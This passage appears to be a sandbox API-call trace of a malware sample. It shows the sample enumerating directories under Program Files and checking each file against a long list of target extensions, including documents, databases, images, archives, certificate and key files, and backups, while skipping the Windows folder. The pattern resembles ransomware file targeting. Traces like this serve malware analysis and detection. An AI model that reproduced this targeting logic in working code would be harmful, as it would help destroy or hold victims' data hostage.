[0082.387] lstrlenW (lpString=".jpx") returned 4 [0082.387] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0082.387] lstrlenW (lpString=".js") returned 3 [0082.387] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0082.387] lstrlenW (lpString=".jsf") returned 4 [0082.387] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0082.387] lstrlenW (lpString=".json") returned 5 [0082.387] lstrcmpiW (lpString1=".json", lpString2="n.dll") returned -1 [0082.388] lstrlenW (lpString=".jsp") returned 4 [0082.388] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0082.388] lstrlenW (lpString=".kdc") returned 4 [0082.388] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0082.388] lstrlenW (lpString=".kmz") returned 4 [0082.388] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0082.388] lstrlenW (lpString=".kwm") returned 4 [0082.388] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0082.388] lstrlenW (lpString=".lasso") returned 6 [0082.388] lstrcmpiW (lpString1=".lasso", lpString2="on.dll") returned -1 [0082.388] lstrlenW (lpString=".lbi") returned 4 [0082.388] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0082.388] lstrlenW (lpString=".lgf") returned 4 [0082.388] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0082.388] lstrlenW (lpString=".lgp") returned 4 [0082.388] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0082.388] lstrlenW (lpString=".log") returned 4 [0082.388] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0082.388] lstrlenW (lpString=".m1v") returned 4 [0082.388] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0082.388] lstrlenW (lpString=".m4a") returned 4 [0082.388] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0082.388] lstrlenW (lpString=".m4v") returned 4 [0082.388] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0082.388] lstrlenW (lpString=".max") returned 4 [0082.389] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0082.389] lstrlenW (lpString=".md") returned 3 [0082.389] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0082.389] lstrlenW (lpString=".mda") returned 4 [0082.389] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0082.389] lstrlenW (lpString=".mdb") returned 4 [0082.389] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0082.389] lstrlenW (lpString=".mde") returned 4 [0082.389] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0082.389] lstrlenW (lpString=".mdf") returned 4 [0082.389] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0082.389] lstrlenW (lpString=".mdw") returned 4 [0082.389] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0082.389] lstrlenW (lpString=".mef") returned 4 [0082.389] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0082.389] lstrlenW (lpString=".mft") returned 4 [0082.389] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0082.389] lstrlenW (lpString=".mfw") returned 4 [0082.389] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0082.389] lstrlenW (lpString=".mht") returned 4 [0082.389] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0082.389] lstrlenW (lpString=".mhtml") returned 6 [0082.389] lstrcmpiW (lpString1=".mhtml", lpString2="on.dll") returned -1 [0082.389] lstrlenW (lpString=".mka") returned 4 [0082.389] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0082.389] lstrlenW (lpString=".mkidx") returned 6 [0082.390] lstrcmpiW (lpString1=".mkidx", lpString2="on.dll") returned -1 [0082.390] lstrlenW (lpString=".mkv") returned 4 [0082.390] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0082.390] lstrlenW (lpString=".mos") returned 4 [0082.390] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0082.390] lstrlenW (lpString=".mov") returned 4 [0082.390] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0082.390] lstrlenW (lpString=".mp3") returned 4 [0082.390] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0082.390] lstrlenW (lpString=".mp4") returned 4 [0082.390] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0082.390] lstrlenW (lpString=".mpeg") returned 5 [0082.390] lstrcmpiW (lpString1=".mpeg", lpString2="n.dll") returned -1 [0082.390] lstrlenW (lpString=".mpg") returned 4 [0082.390] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0082.390] lstrlenW (lpString=".mpv") returned 4 [0082.390] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0082.390] lstrlenW (lpString=".mrw") returned 4 [0082.390] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0082.390] lstrlenW (lpString=".msg") returned 4 [0082.390] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0082.390] lstrlenW (lpString=".mxl") returned 4 [0082.390] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0082.391] lstrlenW (lpString=".myd") returned 4 [0082.391] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0082.391] lstrlenW (lpString=".myi") returned 4 [0082.391] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0082.392] lstrlenW (lpString=".nef") returned 4 [0082.392] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0082.392] lstrlenW (lpString=".nrw") returned 4 [0082.392] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0082.392] lstrlenW (lpString=".obj") returned 4 [0082.392] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0082.392] lstrlenW (lpString=".odb") returned 4 [0082.392] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0082.392] lstrlenW (lpString=".odc") returned 4 [0082.392] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0082.392] lstrlenW (lpString=".odm") returned 4 [0082.392] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0082.392] lstrlenW (lpString=".odp") returned 4 [0082.392] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0082.392] lstrlenW (lpString=".ods") returned 4 [0082.392] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0082.392] lstrlenW (lpString=".oft") returned 4 [0082.392] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0082.392] lstrlenW (lpString=".one") returned 4 [0082.392] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0082.392] lstrlenW (lpString=".onepkg") returned 7 [0082.392] lstrcmpiW (lpString1=".onepkg", lpString2="mon.dll") returned -1 [0082.392] lstrlenW (lpString=".onetoc2") returned 8 [0082.392] lstrcmpiW (lpString1=".onetoc2", lpString2="mmon.dll") returned -1 [0082.392] lstrlenW (lpString=".opt") returned 4 [0082.392] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0082.393] lstrlenW (lpString=".oqy") returned 4 [0082.393] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0082.393] lstrlenW (lpString=".orf") returned 4 [0082.393] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0082.393] lstrlenW (lpString=".p12") returned 4 [0082.393] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0082.393] lstrlenW (lpString=".p7b") returned 4 [0082.393] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0082.393] lstrlenW (lpString=".p7c") returned 4 [0082.393] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0082.393] lstrlenW (lpString=".pam") returned 4 [0082.393] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0082.393] lstrlenW (lpString=".pbm") returned 4 [0082.393] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0082.393] lstrlenW (lpString=".pct") returned 4 [0082.393] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0082.393] lstrlenW (lpString=".pcx") returned 4 [0082.393] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0082.393] lstrlenW (lpString=".pdd") returned 4 [0082.393] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0082.393] lstrlenW (lpString=".pdf") returned 4 [0082.393] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.393] lstrlenW (lpString=".pdp") returned 4 [0082.393] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0082.393] lstrlenW (lpString=".pef") returned 4 [0082.393] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0082.394] lstrlenW (lpString=".pem") returned 4 [0082.394] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0082.394] lstrlenW (lpString=".pff") returned 4 [0082.394] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0082.394] lstrlenW (lpString=".pfm") returned 4 [0082.394] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0082.394] lstrlenW (lpString=".pfx") returned 4 [0082.394] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0082.394] lstrlenW (lpString=".pgm") returned 4 [0082.394] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0082.394] lstrlenW (lpString=".php") returned 4 [0082.394] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0082.394] lstrlenW (lpString=".php3") returned 5 [0082.394] lstrcmpiW (lpString1=".php3", lpString2="n.dll") returned -1 [0082.394] lstrlenW (lpString=".php4") returned 5 [0082.394] lstrcmpiW (lpString1=".php4", lpString2="n.dll") returned -1 [0082.394] lstrlenW (lpString=".php5") returned 5 [0082.394] lstrcmpiW (lpString1=".php5", lpString2="n.dll") returned -1 [0082.394] lstrlenW (lpString=".phtml") returned 6 [0082.394] lstrcmpiW (lpString1=".phtml", lpString2="on.dll") returned -1 [0082.394] lstrlenW (lpString=".pict") returned 5 [0082.394] lstrcmpiW (lpString1=".pict", lpString2="n.dll") returned -1 [0082.394] lstrlenW (lpString=".pl") returned 3 [0082.394] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0082.394] lstrlenW (lpString=".pls") returned 4 [0082.394] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0082.395] lstrlenW (lpString=".pm") returned 3 [0082.395] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0082.395] lstrlenW (lpString=".png") returned 4 [0082.395] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0082.395] lstrlenW (lpString=".pnm") returned 4 [0082.395] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0082.395] lstrlenW (lpString=".pot") returned 4 [0082.395] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0082.395] lstrlenW (lpString=".potm") returned 5 [0082.395] lstrcmpiW (lpString1=".potm", lpString2="n.dll") returned -1 [0082.395] lstrlenW (lpString=".potx") returned 5 [0082.395] lstrcmpiW (lpString1=".potx", lpString2="n.dll") returned -1 [0082.395] lstrlenW (lpString=".ppa") returned 4 [0082.395] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0082.395] lstrlenW (lpString=".ppam") returned 5 [0082.395] lstrcmpiW (lpString1=".ppam", lpString2="n.dll") returned -1 [0082.395] lstrlenW (lpString=".ppm") returned 4 [0082.395] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0082.395] lstrlenW (lpString=".pps") returned 4 [0082.395] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0082.395] lstrlenW (lpString=".ppsm") returned 5 [0082.396] lstrcmpiW (lpString1=".ppsm", lpString2="n.dll") returned -1 [0082.396] lstrlenW (lpString=".ppt") returned 4 [0082.396] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.396] lstrlenW (lpString=".pptm") returned 5 [0082.396] lstrcmpiW (lpString1=".pptm", lpString2="n.dll") returned -1 [0082.396] lstrlenW (lpString=".pptx") returned 5 [0082.396] lstrcmpiW (lpString1=".pptx", lpString2="n.dll") returned -1 [0082.396] lstrlenW (lpString=".prn") returned 4 [0082.396] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0082.396] lstrlenW (lpString=".ps") returned 3 [0082.396] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0082.396] lstrlenW (lpString=".psb") returned 4 [0082.396] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0082.396] lstrlenW (lpString=".psd") returned 4 [0082.396] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0082.396] lstrlenW (lpString=".pst") returned 4 [0082.396] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0082.396] lstrlenW (lpString=".ptx") returned 4 [0082.396] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0082.396] lstrlenW (lpString=".pub") returned 4 [0082.397] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0082.397] lstrlenW (lpString=".pwm") returned 4 [0082.397] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0082.397] lstrlenW (lpString=".pxr") returned 4 [0082.397] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0082.397] lstrlenW (lpString=".py") returned 3 [0082.397] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0082.397] lstrlenW (lpString=".qt") returned 3 [0082.397] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0082.397] lstrlenW (lpString=".r3d") returned 4 [0082.397] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0082.397] lstrlenW (lpString=".raf") returned 4 [0082.397] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0082.397] lstrlenW (lpString=".rar") returned 4 [0082.397] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.397] lstrlenW (lpString=".raw") returned 4 [0082.397] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0082.398] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0082.398] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0082.399] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x354f094 | out: lpFindFileData=0x354f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0082.399] FindClose (in: hFindFile=0x3974370 | out: hFindFile=0x3974370) returned 1 [0082.399] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3900088 | out: hHeap=0x5b0000) returned 1 [0082.403] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0082.403] FindClose (in: hFindFile=0x39742f0 | out: hFindFile=0x39742f0) returned 1 [0082.403] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f2a088 | out: hHeap=0x5b0000) returned 1 [0082.403] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f58c | out: lpFindFileData=0x354f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0082.403] FindClose (in: hFindFile=0x3974230 | out: hFindFile=0x3974230) returned 1 [0082.403] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f6a098 | out: hHeap=0x5b0000) returned 1 [0082.404] FindNextFileW (in: hFindFile=0x39741f0, lpFindFileData=0x354f808 | out: lpFindFileData=0x354f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0082.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\System") returned 36 [0082.404] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\System") returned 1 [0082.404] lstrlenW (lpString="System") returned 6 [0082.404] lstrcmpiW (lpString1="C:\\Windows", lpString2="System") returned -1 [0082.404] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3f6a098 [0082.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\System") returned 36 [0082.404] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x354f58c | out: lpFindFileData=0x354f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974230 [0082.405] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f58c | out: lpFindFileData=0x354f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.405] FindNextFileW (in: hFindFile=0x3974230, lpFindFileData=0x354f58c | out: lpFindFileData=0x354f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0082.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado") returned 40 [0082.405] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\System\\ado") returned 1 [0082.406] lstrlenW (lpString="ado") returned 3 [0082.406] lstrcmpiW (lpString1="C:\\Windows", lpString2="ado") returned 1 [0082.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3f2a088 [0082.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado") returned 40 [0082.406] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39742f0 [0082.565] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.565] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x354f310 | out: lpFindFileData=0x354f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0082.565] lstrlenW (lpString="adojavas.inc") returned 12 [0082.566] lstrlenW (lpString=".1cd") returned 4 [0082.566] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0082.566] lstrlenW (lpString=".3ds") returned 4 [0082.566] lstrcmpiW (lpString1=".3ds", lpString2=".inc") returned -1 [0082.566] lstrlenW (lpString=".3fr") returned 4 [0082.566] lstrcmpiW (lpString1=".3fr", lpString2=".inc") returned -1 [0082.566] lstrlenW (lpString=".3g2") returned 4 [0082.566] lstrcmpiW (lpString1=".3g2", lpString2=".inc") returned -1 [0082.566] lstrlenW (lpString=".3gp") returned 4 [0082.566] lstrcmpiW (lpString1=".3gp", lpString2=".inc") returned -1 [0082.566] lstrlenW (lpString=".7z") returned 3 [0082.566] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0082.566] lstrlenW (lpString=".accda") returned 6 [0082.566] lstrcmpiW (lpString1=".accda", lpString2="as.inc") returned -1 [0082.566] lstrlenW (lpString=".accdb") returned 6 [0082.566] lstrcmpiW (lpString1=".accdb", lpString2="as.inc") returned -1 [0082.566] lstrlenW (lpString=".accdc") returned 6 [0082.566] lstrcmpiW (lpString1=".accdc", lpString2="as.inc") returned -1 [0082.567] lstrlenW (lpString=".accde") returned 6 [0082.567] lstrcmpiW (lpString1=".accde", lpString2="as.inc") returned -1 [0082.567] lstrlenW (lpString=".accdt") returned 6 [0082.567] lstrcmpiW (lpString1=".accdt", lpString2="as.inc") returned -1 [0082.567] lstrlenW (lpString=".accdw") returned 6 [0082.567] lstrcmpiW (lpString1=".accdw", lpString2="as.inc") returned -1 [0082.567] lstrlenW (lpString=".adb") returned 4 [0082.567] lstrcmpiW (lpString1=".adb", lpString2=".inc") returned -1 [0082.567] lstrlenW (lpString=".adp") returned 4 [0082.567] lstrcmpiW (lpString1=".adp", lpString2=".inc") returned -1 [0082.567] lstrlenW (lpString=".ai") returned 3 [0082.567] lstrcmpiW (lpString1=".ai", lpString2="inc") returned -1 [0082.567] lstrlenW (lpString=".ai3") returned 4 [0082.567] lstrcmpiW (lpString1=".ai3", lpString2=".inc") returned -1 [0082.567] lstrlenW (lpString=".ai4") returned 4 [0082.567] lstrcmpiW (lpString1=".ai4", lpString2=".inc") returned -1 [0082.567] lstrlenW (lpString=".ai5") returned 4 [0082.567] lstrcmpiW (lpString1=".ai5", lpString2=".inc") returned -1 [0082.568] lstrlenW (lpString=".ai6") returned 4 [0082.568] lstrcmpiW (lpString1=".ai6", lpString2=".inc") returned -1 [0082.568] lstrlenW (lpString=".ai7") returned 4 [0082.568] lstrcmpiW (lpString1=".ai7", lpString2=".inc") returned -1 [0082.568] lstrlenW (lpString=".ai8") returned 4 [0082.568] lstrcmpiW (lpString1=".ai8", lpString2=".inc") returned -1 [0082.568] lstrlenW (lpString=".anim") returned 5 [0082.568] lstrcmpiW (lpString1=".anim", lpString2="s.inc") returned -1 [0082.568] lstrlenW (lpString=".arw") returned 4 [0082.568] lstrcmpiW (lpString1=".arw", lpString2=".inc") returned -1 [0082.568] lstrlenW (lpString=".as") returned 3 [0082.568] lstrcmpiW (lpString1=".as", lpString2="inc") returned -1 [0082.568] lstrlenW (lpString=".asa") returned 4 [0082.568] lstrcmpiW (lpString1=".asa", lpString2=".inc") returned -1 [0082.568] lstrlenW (lpString=".asc") returned 4 [0082.568] lstrcmpiW (lpString1=".asc", lpString2=".inc") returned -1 [0082.568] lstrlenW (lpString=".ascx") returned 5 [0082.569] lstrcmpiW (lpString1=".ascx", lpString2="s.inc") returned -1 [0082.569] lstrlenW (lpString=".asm") returned 4 [0082.569] lstrcmpiW (lpString1=".asm", lpString2=".inc") returned -1 [0082.569] lstrlenW (lpString=".asmx") returned 5 [0082.569] lstrcmpiW (lpString1=".asmx", lpString2="s.inc") returned -1 [0082.569] lstrlenW (lpString=".asp") returned 4 [0082.569] lstrcmpiW (lpString1=".asp", lpString2=".inc") returned -1 [0082.569] lstrlenW (lpString=".aspx") returned 5 [0082.569] lstrcmpiW (lpString1=".aspx", lpString2="s.inc") returned -1 [0082.569] lstrlenW (lpString=".asr") returned 4 [0082.569] lstrcmpiW (lpString1=".asr", lpString2=".inc") returned -1 [0082.569] lstrlenW (lpString=".asx") returned 4 [0082.569] lstrcmpiW (lpString1=".asx", lpString2=".inc") returned -1 [0082.569] lstrlenW (lpString=".avi") returned 4 [0082.569] lstrcmpiW (lpString1=".avi", lpString2=".inc") returned -1 [0082.569] lstrlenW (lpString=".avs") returned 4 [0082.569] lstrcmpiW (lpString1=".avs", lpString2=".inc") returned -1 [0082.569] lstrlenW (lpString=".backup") returned 7 [0082.569] lstrcmpiW (lpString1=".backup", lpString2="vas.inc") returned -1 [0082.569] lstrlenW (lpString=".bak") returned 4 [0082.569] lstrcmpiW (lpString1=".bak", lpString2=".inc") returned -1 [0082.570] lstrlenW (lpString=".bay") returned 4 [0082.570] lstrcmpiW (lpString1=".bay", lpString2=".inc") returned -1 [0082.570] lstrlenW (lpString=".bd") returned 3 [0082.570] lstrcmpiW (lpString1=".bd", lpString2="inc") returned -1 [0082.570] lstrlenW (lpString=".bin") returned 4 [0082.570] lstrcmpiW (lpString1=".bin", lpString2=".inc") returned -1 [0082.570] lstrlenW (lpString=".bmp") returned 4 [0082.570] lstrcmpiW (lpString1=".bmp", lpString2=".inc") returned -1 [0082.570] lstrlenW (lpString=".bz2") returned 4 [0082.570] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0082.570] lstrlenW (lpString=".c") returned 2 [0082.570] lstrcmpiW (lpString1=".c", lpString2="nc") returned -1 [0082.570] lstrlenW (lpString=".cdr") returned 4 [0082.570] lstrcmpiW (lpString1=".cdr", lpString2=".inc") returned -1 [0082.570] lstrlenW (lpString=".cer") returned 4 [0082.570] lstrcmpiW (lpString1=".cer", lpString2=".inc") returned -1 [0082.570] lstrlenW (lpString=".cf") returned 3 [0082.570] lstrcmpiW (lpString1=".cf", lpString2="inc") returned -1 [0082.570] lstrlenW (lpString=".cfc") returned 4 [0082.571] lstrcmpiW (lpString1=".cfc", lpString2=".inc") returned -1 [0082.571] lstrlenW (lpString=".cfm") returned 4 [0082.571] lstrcmpiW 